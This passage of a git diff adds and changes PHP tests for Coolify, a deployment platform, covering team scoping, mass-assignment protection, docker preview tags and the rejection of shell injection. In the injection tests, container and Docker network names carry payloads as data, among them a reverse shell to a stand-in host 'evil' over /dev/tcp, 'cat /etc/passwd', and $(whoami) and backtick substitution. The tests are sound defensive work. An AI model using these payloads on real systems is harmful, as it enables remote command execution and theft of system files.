'server_id' => $this->serverA->id, + 'build_server_id' => $this->serverB->id, // Cross-team build server + 'status' => \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value, + ]); + + $token = $this->userA->createToken('test-token', ['*']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer ' . $token->plainTextToken, + ])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}"); + + // The cancellation should proceed but the build_server should NOT be found + // (team-scoped query returns null for Team B's server) + // The deployment gets cancelled but no remote process runs on the wrong server + $response->assertOk(); + + // Verify the deployment was cancelled + $deployment->refresh(); + expect($deployment->status)->toBe( + \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value + ); + }); +}); diff --git a/tests/Feature/DatabaseEnvironmentVariableApiTest.php b/tests/Feature/DatabaseEnvironmentVariableApiTest.php index f3297cf17..78e80483b 100644 --- a/tests/Feature/DatabaseEnvironmentVariableApiTest.php +++ b/tests/Feature/DatabaseEnvironmentVariableApiTest.php @@ -33,7 +33,7 @@ function createDatabase($context): StandalonePostgresql { - return StandalonePostgresql::create([ + return StandalonePostgresql::forceCreate([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', diff --git a/tests/Feature/DatabasePublicPortTimeoutApiTest.php b/tests/Feature/DatabasePublicPortTimeoutApiTest.php index 6bbc6279f..1ffc32a81 100644 --- a/tests/Feature/DatabasePublicPortTimeoutApiTest.php +++ b/tests/Feature/DatabasePublicPortTimeoutApiTest.php @@ -33,7 +33,7 @@ describe('PATCH /api/v1/databases', function () { test('updates public_port_timeout on a postgresql database', function () { - $database = StandalonePostgresql::create([ + $database = StandalonePostgresql::forceCreate([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', @@ -57,7 +57,7 @@ }); test('updates public_port_timeout on a redis database', function () { - $database = StandaloneRedis::create([ + $database = StandaloneRedis::forceCreate([ 'name' => 'test-redis', 'image' => 'redis:7', 'redis_password' => 'password', @@ -79,7 +79,7 @@ }); test('rejects invalid public_port_timeout value', function () { - $database = StandalonePostgresql::create([ + $database = StandalonePostgresql::forceCreate([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', @@ -101,7 +101,7 @@ }); test('accepts null public_port_timeout', function () { - $database = StandalonePostgresql::create([ + $database = StandalonePostgresql::forceCreate([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', diff --git a/tests/Feature/DockerCleanupJobTest.php b/tests/Feature/DockerCleanupJobTest.php index 446260e22..fa052f6c2 100644 --- a/tests/Feature/DockerCleanupJobTest.php +++ b/tests/Feature/DockerCleanupJobTest.php @@ -8,6 +8,22 @@ uses(RefreshDatabase::class); +it('persists the server id when creating an execution record', function () { + $user = User::factory()->create(); + $team = $user->teams()->first(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $execution = DockerCleanupExecution::create([ + 'server_id' => $server->id, + ]); + + expect($execution->server_id)->toBe($server->id); + $this->assertDatabaseHas('docker_cleanup_executions', [ + 'id' => $execution->id, + 'server_id' => $server->id, + ]); +}); + it('creates a failed execution record when server is not functional', function () { $user = User::factory()->create(); $team = $user->teams()->first(); diff --git a/tests/Feature/DockerImagePreviewDeploymentApiTest.php b/tests/Feature/DockerImagePreviewDeploymentApiTest.php new file mode 100644 index 000000000..75af6d9a6 --- /dev/null +++ b/tests/Feature/DockerImagePreviewDeploymentApiTest.php @@ -0,0 +1,146 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $plainTextToken = Str::random(40); + $token = $this->user->tokens()->create([ + 'name' => 'test-token', + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->bearerToken = $token->getKey().'|'.$plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create([ + 'server_id' => $this->server->id, + 'network' => 'coolify-'.Str::lower(Str::random(8)), + ]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function createDockerImageApplication(Environment $environment, StandaloneDocker $destination): Application +{ + return Application::factory()->create([ + 'uuid' => (string) Str::uuid(), + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => StandaloneDocker::class, + 'build_pack' => 'dockerimage', + 'docker_registry_image_name' => 'ghcr.io/coollabsio/example', + 'docker_registry_image_tag' => 'latest', + ]); +} + +test('it queues a docker image preview deployment and stores the preview tag', function () { + $application = createDockerImageApplication($this->environment, $this->destination); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'pull_request_id' => 1234, + 'docker_tag' => 'pr_1234', + ]); + + $response->assertSuccessful(); + $response->assertJsonPath('deployments.0.resource_uuid', $application->uuid); + + $preview = ApplicationPreview::query() + ->where('application_id', $application->id) + ->where('pull_request_id', 1234) + ->first(); + + expect($preview)->not()->toBeNull(); + expect($preview->docker_registry_image_tag)->toBe('pr_1234'); + + $deployment = $application->deployment_queue()->latest('id')->first(); + + expect($deployment)->not()->toBeNull(); + expect($deployment->pull_request_id)->toBe(1234); + expect($deployment->docker_registry_image_tag)->toBe('pr_1234'); +}); + +test('it updates an existing docker image preview tag when redeploying through the api', function () { + $application = createDockerImageApplication($this->environment, $this->destination); + + ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => 99, + 'pull_request_html_url' => '', + 'docker_registry_image_tag' => 'pr_99_old', + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'pull_request_id' => 99, + 'docker_tag' => 'pr_99_new', + 'force' => true, + ]); + + $response->assertSuccessful(); + + $preview = ApplicationPreview::query() + ->where('application_id', $application->id) + ->where('pull_request_id', 99) + ->first(); + + expect($preview->docker_registry_image_tag)->toBe('pr_99_new'); +}); + +test('it rejects docker_tag without pull_request_id', function () { + $application = createDockerImageApplication($this->environment, $this->destination); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'docker_tag' => 'pr_1234', + ]); + + $response->assertStatus(400); + $response->assertJson(['message' => 'docker_tag requires pull_request_id.']); +}); + +test('it rejects docker_tag for non docker image applications', function () { + $application = Application::factory()->create([ + 'uuid' => (string) Str::uuid(), + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => StandaloneDocker::class, + 'build_pack' => 'nixpacks', + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'pull_request_id' => 7, + 'docker_tag' => 'pr_7', + ]); + + $response->assertSuccessful(); + $response->assertJsonPath('deployments.0.message', 'docker_tag can only be used with Docker Image applications.'); +}); diff --git a/tests/Feature/GetLogsCommandInjectionTest.php b/tests/Feature/GetLogsCommandInjectionTest.php new file mode 100644 index 000000000..3e5a33b66 --- /dev/null +++ b/tests/Feature/GetLogsCommandInjectionTest.php @@ -0,0 +1,162 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + // Server::created auto-creates a StandaloneDocker, reuse it + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +describe('GetLogs locked properties', function () { + test('container property has Locked attribute', function () { + $property = new ReflectionProperty(GetLogs::class, 'container'); + $attributes = $property->getAttributes(Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('server property has Locked attribute', function () { + $property = new ReflectionProperty(GetLogs::class, 'server'); + $attributes = $property->getAttributes(Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('resource property has Locked attribute', function () { + $property = new ReflectionProperty(GetLogs::class, 'resource'); + $attributes = $property->getAttributes(Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('servicesubtype property has Locked attribute', function () { + $property = new ReflectionProperty(GetLogs::class, 'servicesubtype'); + $attributes = $property->getAttributes(Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); +}); + +describe('GetLogs Livewire action validation', function () { + test('getLogs rejects invalid container name', function () { + // Make server functional by setting settings directly + $this->server->settings->forceFill([ + 'is_reachable' => true, + 'is_usable' => true, + 'force_disabled' => false, + ])->save(); + // Reload server with fresh settings to ensure casted values + $server = Server::with('settings')->find($this->server->id); + + Livewire::test(GetLogs::class, [ + 'server' => $server, + 'resource' => $this->application, + 'container' => 'container;malicious-command', + ]) + ->call('getLogs') + ->assertSet('outputs', 'Invalid container name.'); + }); + + test('getLogs rejects unauthorized server access', function () { + $otherTeam = Team::factory()->create(); + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + + Livewire::test(GetLogs::class, [ + 'server' => $otherServer, + 'resource' => $this->application, + 'container' => 'test-container', + ]) + ->call('getLogs') + ->assertSet('outputs', 'Unauthorized.'); + }); + + test('downloadAllLogs returns empty for invalid container name', function () { + $this->server->settings->forceFill([ + 'is_reachable' => true, + 'is_usable' => true, + 'force_disabled' => false, + ])->save(); + $server = Server::with('settings')->find($this->server->id); + + Livewire::test(GetLogs::class, [ + 'server' => $server, + 'resource' => $this->application, + 'container' => 'container$(whoami)', + ]) + ->call('downloadAllLogs') + ->assertReturned(''); + }); + + test('downloadAllLogs returns empty for unauthorized server', function () { + $otherTeam = Team::factory()->create(); + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + + Livewire::test(GetLogs::class, [ + 'server' => $otherServer, + 'resource' => $this->application, + 'container' => 'test-container', + ]) + ->call('downloadAllLogs') + ->assertReturned(''); + }); +}); + +describe('GetLogs container name injection payloads are blocked by validation', function () { + test('newline injection payload is rejected', function () { + // The exact PoC payload from the advisory + $payload = "postgresql 2>/dev/null\necho '===RCE-START==='\nid\nwhoami\nhostname\ncat /etc/hostname\necho '===RCE-END==='\n#"; + expect(ValidationPatterns::isValidContainerName($payload))->toBeFalse(); + }); + + test('semicolon injection payload is rejected', function () { + expect(ValidationPatterns::isValidContainerName('postgresql;id'))->toBeFalse(); + }); + + test('backtick injection payload is rejected', function () { + expect(ValidationPatterns::isValidContainerName('postgresql`id`'))->toBeFalse(); + }); + + test('command substitution injection payload is rejected', function () { + expect(ValidationPatterns::isValidContainerName('postgresql$(whoami)'))->toBeFalse(); + }); + + test('pipe injection payload is rejected', function () { + expect(ValidationPatterns::isValidContainerName('postgresql|cat /etc/passwd'))->toBeFalse(); + }); + + test('valid container names are accepted', function () { + expect(ValidationPatterns::isValidContainerName('postgresql'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('my-app-container'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('service_db.v2'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('coolify-proxy'))->toBeTrue(); + }); +}); diff --git a/tests/Feature/InternalModelCreationMassAssignmentTest.php b/tests/Feature/InternalModelCreationMassAssignmentTest.php new file mode 100644 index 000000000..fc581bf5c --- /dev/null +++ b/tests/Feature/InternalModelCreationMassAssignmentTest.php @@ -0,0 +1,73 @@ +create(); + $project = Project::factory()->create([ + 'team_id' => $team->id, + ]); + $environment = Environment::factory()->create([ + 'project_id' => $project->id, + ]); + $server = Server::factory()->create([ + 'team_id' => $team->id, + ]); + $destination = $server->standaloneDockers()->firstOrFail(); + + $application = Application::forceCreate([ + 'name' => 'internal-app', + 'git_repository' => 'https://github.com/coollabsio/coolify', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + + $setting = ApplicationSetting::query() + ->where('application_id', $application->id) + ->first(); + + expect($application->environment_id)->toBe($environment->id); + expect($setting)->not->toBeNull(); + expect($setting?->application_id)->toBe($application->id); +}); + +it('creates services with protected relationship ids in trusted internal paths', function () { + $team = Team::factory()->create(); + $project = Project::factory()->create([ + 'team_id' => $team->id, + ]); + $environment = Environment::factory()->create([ + 'project_id' => $project->id, + ]); + $server = Server::factory()->create([ + 'team_id' => $team->id, + ]); + $destination = $server->standaloneDockers()->firstOrFail(); + + $service = Service::forceCreate([ + 'docker_compose_raw' => 'services: {}', + 'environment_id' => $environment->id, + 'server_id' => $server->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'service_type' => 'test-service', + ]); + + expect($service->environment_id)->toBe($environment->id); + expect($service->server_id)->toBe($server->id); + expect($service->destination_id)->toBe($destination->id); + expect($service->destination_type)->toBe($destination->getMorphClass()); +}); diff --git a/tests/Feature/MassAssignmentProtectionTest.php b/tests/Feature/MassAssignmentProtectionTest.php new file mode 100644 index 000000000..436d0736b --- /dev/null +++ b/tests/Feature/MassAssignmentProtectionTest.php @@ -0,0 +1,248 @@ +getGuarded(); + $fillable = $model->getFillable(); + + // Model must NOT have $guarded = [] (empty guard = no protection) + // It should either have non-empty $guarded OR non-empty $fillable + $hasProtection = $guarded !== ['*'] ? count($guarded) > 0 : true; + $hasProtection = $hasProtection || count($fillable) > 0; + + expect($hasProtection) + ->toBeTrue("Model {$modelClass} has no mass assignment protection (empty \$guarded and empty \$fillable)"); + } + }); + + test('Application model blocks mass assignment of relationship IDs', function () { + $application = new Application; + $dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'private_key_id', 'repository_project_id']; + + foreach ($dangerousFields as $field) { + expect($application->isFillable($field)) + ->toBeFalse("Application model should not allow mass assignment of '{$field}'"); + } + }); + + test('Application model allows mass assignment of user-facing fields', function () { + $application = new Application; + $userFields = ['name', 'description', 'git_repository', 'git_branch', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'health_check_path', 'limits_memory', 'status']; + + foreach ($userFields as $field) { + expect($application->isFillable($field)) + ->toBeTrue("Application model should allow mass assignment of '{$field}'"); + } + }); + + test('Server model has $fillable and no conflicting $guarded', function () { + $server = new Server; + $fillable = $server->getFillable(); + $guarded = $server->getGuarded(); + + expect($fillable)->not->toBeEmpty('Server model should have explicit $fillable'); + + // Guarded should be the default ['*'] when $fillable is set, not [] + expect($guarded)->not->toBe([], 'Server model should not have $guarded = [] overriding $fillable'); + }); + + test('Server model blocks mass assignment of dangerous fields', function () { + $server = new Server; + + // These fields should not be mass-assignable via the API + expect($server->isFillable('id'))->toBeFalse(); + expect($server->isFillable('uuid'))->toBeFalse(); + expect($server->isFillable('created_at'))->toBeFalse(); + }); + + test('User model blocks mass assignment of auth-sensitive fields', function () { + $user = new User; + + expect($user->isFillable('id'))->toBeFalse('User id should not be fillable'); + expect($user->isFillable('email_verified_at'))->toBeFalse('email_verified_at should not be fillable'); + expect($user->isFillable('remember_token'))->toBeFalse('remember_token should not be fillable'); + expect($user->isFillable('two_factor_secret'))->toBeFalse('two_factor_secret should not be fillable'); + expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable'); + expect($user->isFillable('pending_email'))->toBeFalse('pending_email should not be fillable'); + expect($user->isFillable('email_change_code'))->toBeFalse('email_change_code should not be fillable'); + expect($user->isFillable('email_change_code_expires_at'))->toBeFalse('email_change_code_expires_at should not be fillable'); + }); + + test('User model allows mass assignment of profile fields', function () { + $user = new User; + + expect($user->isFillable('name'))->toBeTrue(); + expect($user->isFillable('email'))->toBeTrue(); + expect($user->isFillable('password'))->toBeTrue(); + }); + + test('Team model blocks mass assignment of internal fields', function () { + $team = new Team; + + expect($team->isFillable('id'))->toBeFalse(); + expect($team->isFillable('use_instance_email_settings'))->toBeFalse('use_instance_email_settings should not be fillable (migrated to EmailNotificationSettings)'); + expect($team->isFillable('resend_api_key'))->toBeFalse('resend_api_key should not be fillable (migrated to EmailNotificationSettings)'); + }); + + test('Team model allows mass assignment of expected fields', function () { + $team = new Team; + + expect($team->isFillable('name'))->toBeTrue(); + expect($team->isFillable('description'))->toBeTrue(); + expect($team->isFillable('personal_team'))->toBeTrue(); + expect($team->isFillable('show_boarding'))->toBeTrue(); + expect($team->isFillable('custom_server_limit'))->toBeTrue(); + }); + + test('standalone database models block mass assignment of relationship IDs', function () { + $models = [ + StandalonePostgresql::class, + StandaloneRedis::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + StandaloneClickhouse::class, + ]; + + foreach ($models as $modelClass) { + $model = new $modelClass; + $dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type']; + + foreach ($dangerousFields as $field) { + expect($model->isFillable($field)) + ->toBeFalse("Model {$modelClass} should not allow mass assignment of '{$field}'"); + } + } + }); + + test('standalone database models allow mass assignment of config fields', function () { + $model = new StandalonePostgresql; + expect($model->isFillable('name'))->toBeTrue(); + expect($model->isFillable('postgres_user'))->toBeTrue(); + expect($model->isFillable('postgres_password'))->toBeTrue(); + expect($model->isFillable('image'))->toBeTrue(); + expect($model->isFillable('limits_memory'))->toBeTrue(); + + $model = new StandaloneRedis; + expect($model->isFillable('redis_conf'))->toBeTrue(); + + $model = new StandaloneMysql; + expect($model->isFillable('mysql_root_password'))->toBeTrue(); + + $model = new StandaloneMongodb; + expect($model->isFillable('mongo_initdb_root_username'))->toBeTrue(); + }); + + test('standalone database models allow mass assignment of public_port_timeout', function () { + $models = [ + StandalonePostgresql::class, + StandaloneRedis::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + StandaloneClickhouse::class, + ]; + + foreach ($models as $modelClass) { + $model = new $modelClass; + expect($model->isFillable('public_port_timeout')) + ->toBeTrue("{$modelClass} should allow mass assignment of 'public_port_timeout'"); + } + }); + + test('standalone database models allow mass assignment of SSL fields where applicable', function () { + $sslModels = [ + StandalonePostgresql::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneRedis::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + ]; + + foreach ($sslModels as $modelClass) { + $model = new $modelClass; + expect($model->isFillable('enable_ssl')) + ->toBeTrue("{$modelClass} should allow mass assignment of 'enable_ssl'"); + } + + // Clickhouse has no SSL columns + expect((new StandaloneClickhouse)->isFillable('enable_ssl'))->toBeFalse(); + + $sslModeModels = [ + StandalonePostgresql::class, + StandaloneMysql::class, + StandaloneMongodb::class, + ]; + + foreach ($sslModeModels as $modelClass) { + $model = new $modelClass; + expect($model->isFillable('ssl_mode')) + ->toBeTrue("{$modelClass} should allow mass assignment of 'ssl_mode'"); + } + }); + + test('Application fill ignores non-fillable fields', function () { + $application = new Application; + $application->fill([ + 'name' => 'test-app', + 'environment_id' => 999, + 'destination_id' => 999, + 'team_id' => 999, + 'private_key_id' => 999, + ]); + + expect($application->name)->toBe('test-app'); + expect($application->environment_id)->toBeNull(); + expect($application->destination_id)->toBeNull(); + expect($application->private_key_id)->toBeNull(); + }); + + test('Service model blocks mass assignment of relationship IDs', function () { + $service = new Service; + + expect($service->isFillable('id'))->toBeFalse(); + expect($service->isFillable('uuid'))->toBeFalse(); + expect($service->isFillable('environment_id'))->toBeFalse(); + expect($service->isFillable('destination_id'))->toBeFalse(); + expect($service->isFillable('server_id'))->toBeFalse(); + }); +}); diff --git a/tests/Feature/PasswordVisibilityComponentTest.php b/tests/Feature/PasswordVisibilityComponentTest.php new file mode 100644 index 000000000..efc0e27cf --- /dev/null +++ b/tests/Feature/PasswordVisibilityComponentTest.php @@ -0,0 +1,41 @@ +put('default', new MessageBag); + view()->share('errors', $errors); +}); + +it('renders password input with Alpine-managed visibility state', function () { + $html = Blade::render(''); + + expect($html) + ->toContain('@success.window="type = \'password\'"') + ->toContain("x-data=\"{ type: 'password' }\"") + ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"") + ->toContain('x-bind:type="type"') + ->toContain("x-bind:class=\"{ 'truncate': type === 'text' && ! \$el.disabled }\"") + ->not->toContain('changePasswordFieldType'); +}); + +it('renders password textarea with Alpine-managed visibility state', function () { + $html = Blade::render(''); + + expect($html) + ->toContain('@success.window="type = \'password\'"') + ->toContain("x-data=\"{ type: 'password' }\"") + ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"") + ->not->toContain('changePasswordFieldType'); +}); + +it('resets password visibility on success event for env-var-input', function () { + $html = Blade::render(''); + + expect($html) + ->toContain("@success.window=\"type = 'password'\"") + ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"") + ->toContain('x-bind:type="type"'); +}); diff --git a/tests/Feature/ServiceDatabaseTeamTest.php b/tests/Feature/ServiceDatabaseTeamTest.php index 97bb0fd2a..ae3cba4d3 100644 --- a/tests/Feature/ServiceDatabaseTeamTest.php +++ b/tests/Feature/ServiceDatabaseTeamTest.php @@ -7,25 +7,26 @@ use App\Models\ServiceDatabase; use App\Models\Team; use Illuminate\Foundation\Testing\RefreshDatabase; +use Illuminate\Support\Str; uses(RefreshDatabase::class); it('returns the correct team through the service relationship chain', function () { $team = Team::factory()->create(); - $project = Project::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $project = Project::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'Test Project', 'team_id' => $team->id, ]); - $environment = Environment::create([ - 'name' => 'test-env-'.Illuminate\Support\Str::random(8), + $environment = Environment::forceCreate([ + 'name' => 'test-env-'.Str::random(8), 'project_id' => $project->id, ]); - $service = Service::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $service = Service::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'supabase', 'environment_id' => $environment->id, 'destination_id' => 1, @@ -33,8 +34,8 @@ 'docker_compose_raw' => 'version: "3"', ]); - $serviceDatabase = ServiceDatabase::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $serviceDatabase = ServiceDatabase::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'supabase-db', 'service_id' => $service->id, ]); @@ -46,19 +47,19 @@ it('returns the correct team for ServiceApplication through the service relationship chain', function () { $team = Team::factory()->create(); - $project = Project::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $project = Project::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'Test Project', 'team_id' => $team->id, ]); - $environment = Environment::create([ - 'name' => 'test-env-'.Illuminate\Support\Str::random(8), + $environment = Environment::forceCreate([ + 'name' => 'test-env-'.Str::random(8), 'project_id' => $project->id, ]); - $service = Service::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $service = Service::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'supabase', 'environment_id' => $environment->id, 'destination_id' => 1, @@ -66,8 +67,8 @@ 'docker_compose_raw' => 'version: "3"', ]); - $serviceApplication = ServiceApplication::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $serviceApplication = ServiceApplication::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'supabase-studio', 'service_id' => $service->id, ]); diff --git a/tests/Feature/SslCertificateRegenerationTest.php b/tests/Feature/SslCertificateRegenerationTest.php new file mode 100644 index 000000000..06d312935 --- /dev/null +++ b/tests/Feature/SslCertificateRegenerationTest.php @@ -0,0 +1,82 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); +}); + +test('server with no CA certificate returns null from sslCertificates query', function () { + $caCert = $this->server->sslCertificates() + ->where('is_ca_certificate', true) + ->first(); + + expect($caCert)->toBeNull(); +}); + +test('accessing property on null CA cert throws an error', function () { + // This test verifies the exact scenario that caused the 500 error: + // querying for a CA cert on a server that has none, then trying to access properties + $caCert = $this->server->sslCertificates() + ->where('is_ca_certificate', true) + ->first(); + + expect($caCert)->toBeNull(); + + // Without the fix, the code would do: + // caCert: $caCert->ssl_certificate <-- 500 error + expect(fn () => $caCert->ssl_certificate) + ->toThrow(ErrorException::class); +}); + +test('CA certificate can be retrieved when it exists on the server', function () { + // Create a CA certificate directly (simulating what generateCaCertificate does) + SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => true, + 'ssl_certificate' => 'test-ca-cert', + 'ssl_private_key' => 'test-ca-key', + 'common_name' => 'Coolify CA Certificate', + 'valid_until' => now()->addYears(10), + ]); + + $caCert = $this->server->sslCertificates() + ->where('is_ca_certificate', true) + ->first(); + + expect($caCert)->not->toBeNull() + ->and($caCert->is_ca_certificate)->toBeTruthy() + ->and($caCert->ssl_certificate)->toBe('test-ca-cert') + ->and($caCert->ssl_private_key)->toBe('test-ca-key'); +}); + +test('non-CA certificate is not returned when querying for CA certificate', function () { + // Create only a regular (non-CA) certificate + SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => false, + 'ssl_certificate' => 'test-cert', + 'ssl_private_key' => 'test-key', + 'common_name' => 'test-db-uuid', + 'valid_until' => now()->addYear(), + ]); + + $caCert = $this->server->sslCertificates() + ->where('is_ca_certificate', true) + ->first(); + + // The CA cert query should return null since only a regular cert exists + expect($caCert)->toBeNull(); +}); diff --git a/tests/Feature/StorageApiTest.php b/tests/Feature/StorageApiTest.php index 75357e41e..bd9d727c4 100644 --- a/tests/Feature/StorageApiTest.php +++ b/tests/Feature/StorageApiTest.php @@ -49,7 +49,7 @@ function createTestApplication($context): Application function createTestDatabase($context): StandalonePostgresql { - return StandalonePostgresql::create([ + return StandalonePostgresql::forceCreate([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', diff --git a/tests/Unit/DockerImagePreviewTagResolutionTest.php b/tests/Unit/DockerImagePreviewTagResolutionTest.php new file mode 100644 index 000000000..e6d0b6a4e --- /dev/null +++ b/tests/Unit/DockerImagePreviewTagResolutionTest.php @@ -0,0 +1,76 @@ +newInstanceWithoutConstructor(); + + $pullRequestProperty = $reflection->getProperty('pull_request_id'); + $pullRequestProperty->setAccessible(true); + $pullRequestProperty->setValue($job, 42); + + $applicationProperty = $reflection->getProperty('application'); + $applicationProperty->setAccessible(true); + $applicationProperty->setValue($job, new Application([ + 'docker_registry_image_tag' => 'latest', + ])); + + $previewTagProperty = $reflection->getProperty('dockerImagePreviewTag'); + $previewTagProperty->setAccessible(true); + $previewTagProperty->setValue($job, 'pr_42'); + + $method = $reflection->getMethod('resolveDockerImageTag'); + $method->setAccessible(true); + + expect($method->invoke($job))->toBe('pr_42'); +}); + +it('falls back to the application docker image tag for non preview deployments', function () { + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $job = $reflection->newInstanceWithoutConstructor(); + + $pullRequestProperty = $reflection->getProperty('pull_request_id'); + $pullRequestProperty->setAccessible(true); + $pullRequestProperty->setValue($job, 0); + + $applicationProperty = $reflection->getProperty('application'); + $applicationProperty->setAccessible(true); + $applicationProperty->setValue($job, new Application([ + 'docker_registry_image_tag' => 'stable', + ])); + + $previewTagProperty = $reflection->getProperty('dockerImagePreviewTag'); + $previewTagProperty->setAccessible(true); + $previewTagProperty->setValue($job, 'pr_42'); + + $method = $reflection->getMethod('resolveDockerImageTag'); + $method->setAccessible(true); + + expect($method->invoke($job))->toBe('stable'); +}); + +it('falls back to latest when neither preview nor application tags are set', function () { + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $job = $reflection->newInstanceWithoutConstructor(); + + $pullRequestProperty = $reflection->getProperty('pull_request_id'); + $pullRequestProperty->setAccessible(true); + $pullRequestProperty->setValue($job, 7); + + $applicationProperty = $reflection->getProperty('application'); + $applicationProperty->setAccessible(true); + $applicationProperty->setValue($job, new Application([ + 'docker_registry_image_tag' => '', + ])); + + $previewTagProperty = $reflection->getProperty('dockerImagePreviewTag'); + $previewTagProperty->setAccessible(true); + $previewTagProperty->setValue($job, null); + + $method = $reflection->getMethod('resolveDockerImageTag'); + $method->setAccessible(true); + + expect($method->invoke($job))->toBe('latest'); +}); diff --git a/tests/Unit/DockerNetworkInjectionTest.php b/tests/Unit/DockerNetworkInjectionTest.php new file mode 100644 index 000000000..b3ca4ac60 --- /dev/null +++ b/tests/Unit/DockerNetworkInjectionTest.php @@ -0,0 +1,48 @@ +network = $network; +})->with([ + 'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #', + 'pipe injection' => 'net|cat /etc/passwd', + 'dollar injection' => 'net$(whoami)', + 'backtick injection' => 'net`id`', + 'space injection' => 'net work', +])->throws(InvalidArgumentException::class); + +it('StandaloneDocker accepts valid network names', function (string $network) { + $model = new StandaloneDocker; + $model->network = $network; + + expect($model->network)->toBe($network); +})->with([ + 'simple' => 'mynetwork', + 'with hyphen' => 'my-network', + 'with underscore' => 'my_network', + 'with dot' => 'my.network', + 'alphanumeric' => 'network123', +]); + +it('SwarmDocker rejects network names with shell metacharacters', function (string $network) { + $model = new SwarmDocker; + $model->network = $network; +})->with([ + 'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #', + 'pipe injection' => 'net|cat /etc/passwd', + 'dollar injection' => 'net$(whoami)', 